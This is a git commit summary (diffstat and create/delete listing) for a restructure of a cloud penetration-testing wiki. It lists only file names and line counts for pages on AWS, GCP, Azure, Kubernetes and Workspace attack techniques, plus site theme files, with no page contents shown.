 .../gcp-permissions-for-a-pentest.md          |    0
 .../gcp-security/gcp-persistence/README.md    |    0
 .../gcp-api-keys-persistence.md               |   21 +
 .../gcp-app-engine-persistence.md             |   21 +
 .../gcp-artifact-registry-persistence.md      |   42 +
 .../gcp-bigquery-persistence.md               |   21 +
 .../gcp-cloud-functions-persistence.md        |   19 +
 .../gcp-cloud-run-persistence.md              |   25 +
 .../gcp-cloud-shell-persistence.md            |   69 ++
 .../gcp-cloud-sql-persistence.md              |   37 +
 .../gcp-compute-persistence.md                |   19 +
 .../gcp-dataflow-persistence.md               |   53 +
 .../gcp-filestore-persistence.md              |   21 +
 .../gcp-logging-persistence.md                |   21 +
 .../gcp-non-svc-persistance.md                |   55 +-
 .../gcp-secret-manager-persistence.md         |   22 +
 .../gcp-storage-persistence.md                |   38 +
 .../gcp-post-exploitation/README.md           |    0
 .../gcp-app-engine-post-exploitation.md       |   43 +
 ...gcp-artifact-registry-post-exploitation.md |   21 +
 .../gcp-cloud-build-post-exploitation.md      |   29 +
 .../gcp-cloud-functions-post-exploitation.md  |   35 +-
 .../gcp-cloud-run-post-exploitation.md        |   23 +
 .../gcp-cloud-shell-post-exploitation.md      |   46 +-
 .../gcp-cloud-sql-post-exploitation.md        |   38 +-
 .../gcp-compute-post-exploitation.md          |   73 +-
 .../gcp-filestore-post-exploitation.md        |  100 ++
 .../gcp-iam-post-exploitation.md              |   29 +
 .../gcp-kms-post-exploitation.md              |   50 +-
 .../gcp-logging-post-exploitation.md          |   60 +-
 .../gcp-monitoring-post-exploitation.md       |  114 ++
 .../gcp-pub-sub-post-exploitation.md          |   70 +-
 .../gcp-secretmanager-post-exploitation.md    |   22 +
 .../gcp-security-post-exploitation.md         |   58 +
 .../gcp-storage-post-exploitation.md          |   34 +
 .../gcp-workflows-post-exploitation.md        |   21 +
 .../gcp-privilege-escalation/README.md        |   65 +-
 .../gcp-apikeys-privesc.md                    |   78 ++
 .../gcp-appengine-privesc.md                  |   51 +-
 .../gcp-artifact-registry-privesc.md          |  173 +++
 .../gcp-batch-privesc.md                      |   58 +
 .../gcp-bigquery-privesc.md                   |   51 +-
 .../gcp-clientauthconfig-privesc.md           |   26 +
 .../gcp-cloudbuild-privesc.md                 |   42 +-
 .../gcp-cloudfunctions-privesc.md             |   63 +-
 .../gcp-cloudidentity-privesc.md              |   34 +
 .../gcp-cloudscheduler-privesc.md             |   50 +-
 .../gcp-composer-privesc.md                   |   52 +-
 .../gcp-compute-privesc/README.md             |   71 +-
 .../gcp-add-custom-ssh-metadata.md            |  100 ++
 .../gcp-container-privesc.md                  |   91 ++
 .../gcp-deploymentmaneger-privesc.md          |   29 +
 .../gcp-iam-privesc.md                        |   52 +-
 .../gcp-kms-privesc.md                        |   40 +-
 ...local-privilege-escalation-ssh-pivoting.md |   54 +-
 .../gcp-misc-perms-privesc.md                 |   25 +
 .../gcp-network-docker-escape.md              |   34 +-
 .../gcp-orgpolicy-privesc.md                  |   25 +
 .../gcp-pubsub-privesc.md                     |   37 +
 .../gcp-resourcemanager-privesc.md            |   19 +
 .../gcp-run-privesc.md                        |   40 +-
 .../gcp-secretmanager-privesc.md              |   38 +
 .../gcp-serviceusage-privesc.md               |   29 +-
 .../gcp-sourcerepos-privesc.md                |   87 ++
 .../gcp-storage-privesc.md                    |   71 +-
 .../gcp-workflows-privesc.md                  |   62 +-
 .../gcp-security/gcp-services/README.md       |    0
 .../gcp-services/gcp-ai-platform-enum.md      |   22 +
 .../gcp-services/gcp-api-keys-enum.md         |   44 +
 .../gcp-services/gcp-app-engine-enum.md       |   65 +-
 .../gcp-artifact-registry-enum.md             |   68 +-
 .../gcp-services/gcp-batch-enum.md            |   35 +
 .../gcp-services/gcp-bigquery-enum.md         |   93 +-
 .../gcp-services/gcp-bigtable-enum.md         |   32 +
 .../gcp-services/gcp-cloud-build-enum.md      |  171 +++
 .../gcp-services/gcp-cloud-functions-enum.md  |  108 ++
 .../gcp-services/gcp-cloud-run-enum.md        |  111 ++
 .../gcp-services/gcp-cloud-scheduler-enum.md  |   46 +
 .../gcp-services/gcp-cloud-shell-enum.md      |   28 +
 .../gcp-services/gcp-cloud-sql-enum.md        |   89 ++
 .../gcp-services/gcp-composer-enum.md         |   43 +
 .../gcp-compute-instances-enum/README.md      |   93 +-
 .../gcp-compute-instance.md                   |   74 +-
 .../gcp-vpc-and-networking.md                 |   69 +-
 .../gcp-containers-gke-and-composer-enum.md   |   50 +-
 .../gcp-security/gcp-services/gcp-dns-enum.md |   25 +
 .../gcp-services/gcp-filestore-enum.md        |   74 ++
 .../gcp-services/gcp-firebase-enum.md         |   40 +-
 .../gcp-services/gcp-firestore-enum.md        |   17 +
 .../gcp-iam-and-org-policies-enum.md          |  126 +-
 .../gcp-security/gcp-services/gcp-kms-enum.md |   66 +-
 .../gcp-services/gcp-logging-enum.md          |  105 +-
 .../gcp-services/gcp-memorystore-enum.md      |   21 +
 .../gcp-services/gcp-monitoring-enum.md       |   57 +
 .../gcp-security/gcp-services/gcp-pub-sub.md  |   48 +-
 .../gcp-services/gcp-secrets-manager-enum.md  |   53 +
 .../gcp-services/gcp-security-enum.md         |  114 +-
 .../gcp-source-repositories-enum.md           |   67 +
 .../gcp-services/gcp-spanner-enum.md          |   31 +
 .../gcp-services/gcp-stackdriver-enum.md      |   33 +
 .../gcp-services/gcp-storage-enum.md          |   73 +-
 .../gcp-services/gcp-workflows-enum.md        |   38 +
 .../gcp-to-workspace-pivoting/README.md       |   88 +-
 ...cp-understanding-domain-wide-delegation.md |   36 +-
 .../README.md                                 |   18 +
 .../gcp-api-keys-unauthenticated-enum.md      |   52 +
 .../gcp-app-engine-unauthenticated-enum.md    |   25 +
 ...-artifact-registry-unauthenticated-enum.md |   21 +
 .../gcp-cloud-build-unauthenticated-enum.md   |   42 +
 ...cp-cloud-functions-unauthenticated-enum.md |   77 ++
 .../gcp-cloud-run-unauthenticated-enum.md     |   59 +
 .../gcp-cloud-sql-unauthenticated-enum.md     |   25 +
 .../gcp-compute-unauthenticated-enum.md       |   25 +
 ...principals-and-org-unauthenticated-enum.md |   42 +-
 ...ource-repositories-unauthenticated-enum.md |   20 +
 .../README.md                                 |   73 ++
 ...gcp-public-buckets-privilege-escalation.md |   31 +
 .../ibm-cloud-pentesting/README.md            |   38 +
 .../ibm-basic-information.md                  |   72 ++
 .../ibm-hyper-protect-crypto-services.md      |   30 +-
 .../ibm-hyper-protect-virtual-server.md       |   30 +-
 .../kubernetes-security/README.md             |   80 ++
 .../README.md                                 |  359 +++---
 .../kubernetes-roles-abuse-lab.md             |   61 +-
 .../pod-escape-privileges.md                  |   49 +
 .../attacking-kubernetes-from-inside-a-pod.md |  159 +--
 .../exposing-services-in-kubernetes.md        |  107 +-
 .../kubernetes-security/kubernetes-basics.md  |  285 ++---
 .../kubernetes-enumeration.md                 |  360 +++---
 .../kubernetes-external-secrets-operator.md   |   46 +-
 .../kubernetes-hardening/README.md            |   96 +-
 .../kubernetes-securitycontext-s.md           |   80 +-
 .../kubernetes-kyverno/README.md              |    0
 .../kubernetes-kyverno-bypass.md              |   24 +-
 .../kubernetes-namespace-escalation.md        |   33 +
 .../kubernetes-network-attacks.md             |  151 +--
 .../kubernetes-opa-gatekeeper/README.md       |    0
 .../kubernetes-opa-gatekeeper-bypass.md       |   18 +-
 .../kubernetes-pivoting-to-clouds.md          |  141 +--
 ...bernetes-role-based-access-control-rbac.md |  107 +-
 ...bernetes-validatingwebhookconfiguration.md |   50 +-
 .../pentesting-kubernetes-services/README.md  |   63 +-
 ...ubelet-authentication-and-authorization.md |   66 +-
 .../openshift-pentesting/README.md            |   19 +
 .../openshift-basic-information.md            |   16 +-
 .../openshift-jenkins/README.md               |    6 +-
 .../openshift-jenkins-build-overrides.md      |    0
 .../openshift-privilege-escalation/README.md  |   19 +
 .../openshift-missing-service-account.md      |    8 +-
 .../openshift-scc-bypass.md                   |   80 +-
 .../openshift-tekton.md                       |   13 +-
 .../openshift-pentesting/openshift-scc.md     |   16 +-
 .../pentesting-cloud-methodology.md           |  236 ++--
 .../workspace-security/README.md              |   73 ++
 .../gws-google-platforms-phishing/README.md   |  123 +-
 .../gws-app-scripts.md                        |  235 ++++
 .../workspace-security/gws-persistence.md     |  182 +++
 .../gws-post-exploitation.md                  |   46 +-
 .../README.md                                 |   58 +
 .../gcds-google-cloud-directory-sync.md       |  197 ++-
 ...-google-credential-provider-for-windows.md |  304 ++---
 .../gps-google-password-sync.md               |  203 ++-
 .../gws-admin-directory-sync.md               |   53 +-
 theme/book.js                                 |  735 +++++++++++
 theme/css/chrome.css                          | 1085 +++++++++++++++++
 theme/css/general.css                         |  242 ++++
 theme/css/print.css                           |   50 +
 theme/css/variables.css                       |  484 ++++++++
 theme/favicon.png                             |  Bin 0 -> 14122 bytes
 theme/favicon.svg                             |   21 +
 theme/fonts/OPEN-SANS-LICENSE.txt             |  202 +++
 theme/fonts/SOURCE-CODE-PRO-LICENSE.txt       |   93 ++
 theme/fonts/fonts.css                         |  100 ++
 .../open-sans-v17-all-charsets-300.woff2      |  Bin 0 -> 44352 bytes
 ...open-sans-v17-all-charsets-300italic.woff2 |  Bin 0 -> 40656 bytes
 .../open-sans-v17-all-charsets-600.woff2      |  Bin 0 -> 44936 bytes
 ...open-sans-v17-all-charsets-600italic.woff2 |  Bin 0 -> 42120 bytes
 .../open-sans-v17-all-charsets-700.woff2      |  Bin 0 -> 44988 bytes
 ...open-sans-v17-all-charsets-700italic.woff2 |  Bin 0 -> 40800 bytes
 .../open-sans-v17-all-charsets-800.woff2      |  Bin 0 -> 44536 bytes
 ...open-sans-v17-all-charsets-800italic.woff2 |  Bin 0 -> 40812 bytes
 .../open-sans-v17-all-charsets-italic.woff2   |  Bin 0 -> 41076 bytes
 .../open-sans-v17-all-charsets-regular.woff2  |  Bin 0 -> 43236 bytes
 ...source-code-pro-v11-all-charsets-500.woff2 |  Bin 0 -> 59140 bytes
 theme/highlight.css                           |   84 ++
 theme/highlight.js                            |   54 +
 theme/ht_searcher.js                          |  486 ++++++++
 theme/index.hbs                               |  392 ++++++
 theme/pagetoc.css                             |  189 +++
 theme/pagetoc.js                              |   68 ++
 theme/sponsor.js                              |   58 +
 theme/tabs.css                                |   41 +
 theme/tabs.js                                 |   75 ++
 theme/toc.js.hbs                              |   73 ++
 1373 files changed, 26143 insertions(+), 34152 deletions(-)
 delete mode 100644 .gitbook/assets/empty.zip
 delete mode 100644 README.md
 delete mode 100644 SUMMARY.md
 create mode 100644 book.toml
 create mode 100644 hacktricks-preprocessor.py
 delete mode 100644 pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
 delete mode 100644 pentesting-ci-cd/cloudflare-security/README.md
 delete mode 100644 pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
 delete mode 100644 pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
 delete mode 100644 pentesting-ci-cd/concourse-security/README.md
 delete mode 100644 pentesting-ci-cd/concourse-security/concourse-architecture.md
 delete mode 100644 pentesting-ci-cd/gitea-security/basic-gitea-information.md
 delete mode 100644 pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
 delete mode 100644 pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
 delete mode 100644 pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
 delete mode 100644 pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
 delete mode 100644 pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
 delete mode 100644 pentesting-ci-cd/todo.md
 delete mode 100644 pentesting-ci-cd/travisci-security/README.md
 delete mode 100644 pentesting-ci-cd/vercel-security.md
 delete mode 100644 pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
 delete mode 100644 pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
 delete mode 100644 pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
 delete mode 100644 pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
 delete mode 100644 pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
 delete mode 100644 pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
 delete mode 100644 pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
 delete mode 100644 pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
 delete mode 100644 pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
 delete mode 100644 pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
 delete mode 100644 pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
 delete mode 100644 pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
 delete mode 100644 pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
 delete mode 100644 pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
 delete mode 100644 pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
 delete mode 100644 pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
 delete mode 100644 pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
 delete mode 100644 pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
 delete mode 100644 pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
 delete mode 100644 pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
 delete mode 100644 pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
 delete mode 100644 pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
 delete mode 100644 pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md
 delete mode 100644 pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
 delete mode 100644 pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
 delete mode 100644 pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
 delete mode 100644 pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
 delete mode 100644 pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
 delete mode 100644 pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
 delete mode 100644 pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
 delete mode 100644 pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
 delete mode 100644 pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md
 delete mode 100644 pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
 delete mode 100644 pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
 delete mode 100644 pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md
 delete mode 100644 pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
 delete mode 100644 pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md
 delete mode 100644 pentesting-cloud/aws-security/aws-privilege-escalation/README.md
 delete mode 100644 pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md
 delete mode 100644 pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
 delete mode 100644 pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
 delete mode 100644 pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
 delete mode 100644 pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md
 delete mode 100644 pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
 delete mode 100644 pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
 delete mode 100644 pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
 delete mode 100644 pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
 delete mode 100644 pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
 delete mode 100644 pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md
 delete mode 100644 pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
 delete mode 100644 pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
 delete mode 100644 pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md
 delete mode 100644 pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md
 delete mode 100644 pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md
 delete mode 100644 pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md
 delete mode 100644 pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md
 delete mode 100644 pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md
 delete mode 100644 pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md
 delete mode 100644 pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md
 delete mode 100644 pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md
 delete mode 100644 pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md
 delete mode 100644 pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md
 delete mode 100644 pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md
 delete mode 100644 pentesting-cloud/aws-security/aws-services/README.md
 delete mode 100644 pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md
 delete mode 100644 pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md
 delete mode 100644 pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md
 delete mode 100644 pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md
 delete mode 100644 pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md
 delete mode 100644 pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md
 delete mode 100644 pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md
 delete mode 100644 pentesting-cloud/aws-security/aws-services/aws-eks-enum.md
 delete mode 100644 pentesting-cloud/aws-security/aws-services/aws-elasticache.md
 delete mode 100644 pentesting-cloud/aws-security/aws-services/aws-emr-enum.md
 delete mode 100644 pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md
 delete mode 100644 pentesting-cloud/aws-security/aws-services/aws-kms-enum.md
 delete mode 100644 pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md
 delete mode 100644 pentesting-cloud/aws-security/aws-services/aws-mq-enum.md
 delete mode 100644 pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md
 delete mode 100644 pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md
 delete mode 100644 pentesting-cloud/aws-security/aws-services/aws-route53-enum.md
 delete mode 100644 pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md
 delete mode 100644 pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
 delete mode 100644 pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md
 delete mode 100644 pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md
 delete mode 100644 pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md
 delete mode 100644 pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md
 delete mode 100644 pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md
 delete mode 100644 pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md
 delete mode 100644 pentesting-cloud/aws-security/aws-services/aws-sns-enum.md
 delete mode 100644 pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md
 delete mode 100644 pentesting-cloud/aws-security/aws-services/aws-sts-enum.md
 delete mode 100644 pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md
 delete mode 100644 pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md
 delete mode 100644 pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md
 delete mode 100644 pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md
 delete mode 100644 pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md
 delete mode 100644 pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md
 delete mode 100644 pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md
 delete mode 100644 pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md
 delete mode 100644 pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md
 delete mode 100644 pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md
 delete mode 100644 pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md
 delete mode 100644 pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md
 delete mode 100644 pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md
 delete mode 100644 pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md
 delete mode 100644 pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md
 delete mode 100644 pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md
 delete mode 100644 pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md
 delete mode 100644 pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md
 delete mode 100644 pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md
 delete mode 100644 pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md
 delete mode 100644 pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md
 delete mode 100644 pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md
 delete mode 100644 pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md
 delete mode 100644 pentesting-cloud/azure-security/az-device-registration.md
 delete mode 100644 pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md
 delete mode 100644 pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md
 delete mode 100644 pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md
 delete mode 100644 pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md
 delete mode 100644 pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md
 delete mode 100644 pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
 delete mode 100644 pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md
 delete mode 100644 pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md
 delete mode 100644 pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md
 delete mode 100644 pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md
 delete mode 100644 pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md
 delete mode 100644 pentesting-cloud/azure-security/az-permissions-for-a-pentest.md
 delete mode 100644 pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md
 delete mode 100644 pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md
 delete mode 100644 pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md
 delete mode 100644 pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
 delete mode 100644 pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md
 delete mode 100644 pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md
 delete mode 100644 pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md
 delete mode 100644 pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md
 delete mode 100644 pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
 delete mode 100644 pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md
 delete mode 100644 pentesting-cloud/azure-security/az-services/README.md
 delete mode 100644 pentesting-cloud/azure-security/az-services/az-acr.md
 delete mode 100644 pentesting-cloud/azure-security/az-services/az-application-proxy.md
 delete mode 100644 pentesting-cloud/azure-security/az-services/az-arm-templates.md
 delete mode 100644 pentesting-cloud/azure-security/az-services/az-automation-account/az-state-configuration-rce.md
 delete mode 100644 pentesting-cloud/azure-security/az-services/az-management-groups-subscriptions-and-resource-groups.md
 delete mode 100644 pentesting-cloud/azure-security/az-services/az-queue-enum.md
 delete mode 100644 pentesting-cloud/azure-security/az-services/az-table-storage.md
 delete mode 100644 pentesting-cloud/azure-security/az-services/intune.md
 delete mode 100644 pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md
 delete mode 100644 pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md
 delete mode 100644 pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-vms-unath.md
 delete mode 100644 pentesting-cloud/digital-ocean-pentesting/README.md
 delete mode 100644 pentesting-cloud/digital-ocean-pentesting/do-permissions-for-a-pentest.md
 delete mode 100644 pentesting-cloud/digital-ocean-pentesting/do-services/README.md
 delete mode 100644 pentesting-cloud/digital-ocean-pentesting/do-services/do-apps.md
 delete mode 100644 pentesting-cloud/digital-ocean-pentesting/do-services/do-container-registry.md
 delete mode 100644 pentesting-cloud/digital-ocean-pentesting/do-services/do-databases.md
 delete mode 100644 pentesting-cloud/digital-ocean-pentesting/do-services/do-functions.md
 delete mode 100644 pentesting-cloud/digital-ocean-pentesting/do-services/do-images.md
 delete mode 100644 pentesting-cloud/digital-ocean-pentesting/do-services/do-kubernetes-doks.md
 delete mode 100644 pentesting-cloud/digital-ocean-pentesting/do-services/do-networking.md
 delete mode 100644 pentesting-cloud/digital-ocean-pentesting/do-services/do-projects.md
 delete mode 100644 pentesting-cloud/digital-ocean-pentesting/do-services/do-spaces.md
 delete mode 100644 pentesting-cloud/digital-ocean-pentesting/do-services/do-volumes.md
 delete mode 100644 pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
 delete mode 100644 pentesting-cloud/gcp-security/gcp-persistence/gcp-api-keys-persistence.md
 delete mode 100644 pentesting-cloud/gcp-security/gcp-persistence/gcp-app-engine-persistence.md
 delete mode 100644 pentesting-cloud/gcp-security/gcp-persistence/gcp-artifact-registry-persistence.md
 delete mode 100644 pentesting-cloud/gcp-security/gcp-persistence/gcp-bigquery-persistence.md
 delete mode 100644 pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-functions-persistence.md
 delete mode 100644 pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-run-persistence.md
 delete mode 100644 pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-shell-persistence.md
 delete mode 100644 pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-sql-persistence.md
 delete mode 100644 pentesting-cloud/gcp-security/gcp-persistence/gcp-compute-persistence.md
 delete mode 100644 pentesting-cloud/gcp-security/gcp-persistence/gcp-dataflow-persistence.md
 delete mode 100644 pentesting-cloud/gcp-security/gcp-persistence/gcp-filestore-persistence.md
 delete mode 100644 pentesting-cloud/gcp-security/gcp-persistence/gcp-logging-persistence.md
 delete mode 100644 pentesting-cloud/gcp-security/gcp-persistence/gcp-secret-manager-persistence.md
 delete mode 100644 pentesting-cloud/gcp-security/gcp-persistence/gcp-storage-persistence.md
 delete mode 100644 pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md
 delete mode 100644 pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-artifact-registry-post-exploitation.md
 delete mode 100644 pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-build-post-exploitation.md
 delete mode 100644 pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-run-post-exploitation.md
 delete mode 100644 pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-filestore-post-exploitation.md
 delete mode 100644 pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-iam-post-exploitation.md
 delete mode 100644 pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md
 delete mode 100644 pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md
 delete mode 100644 pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-post-exploitation.md
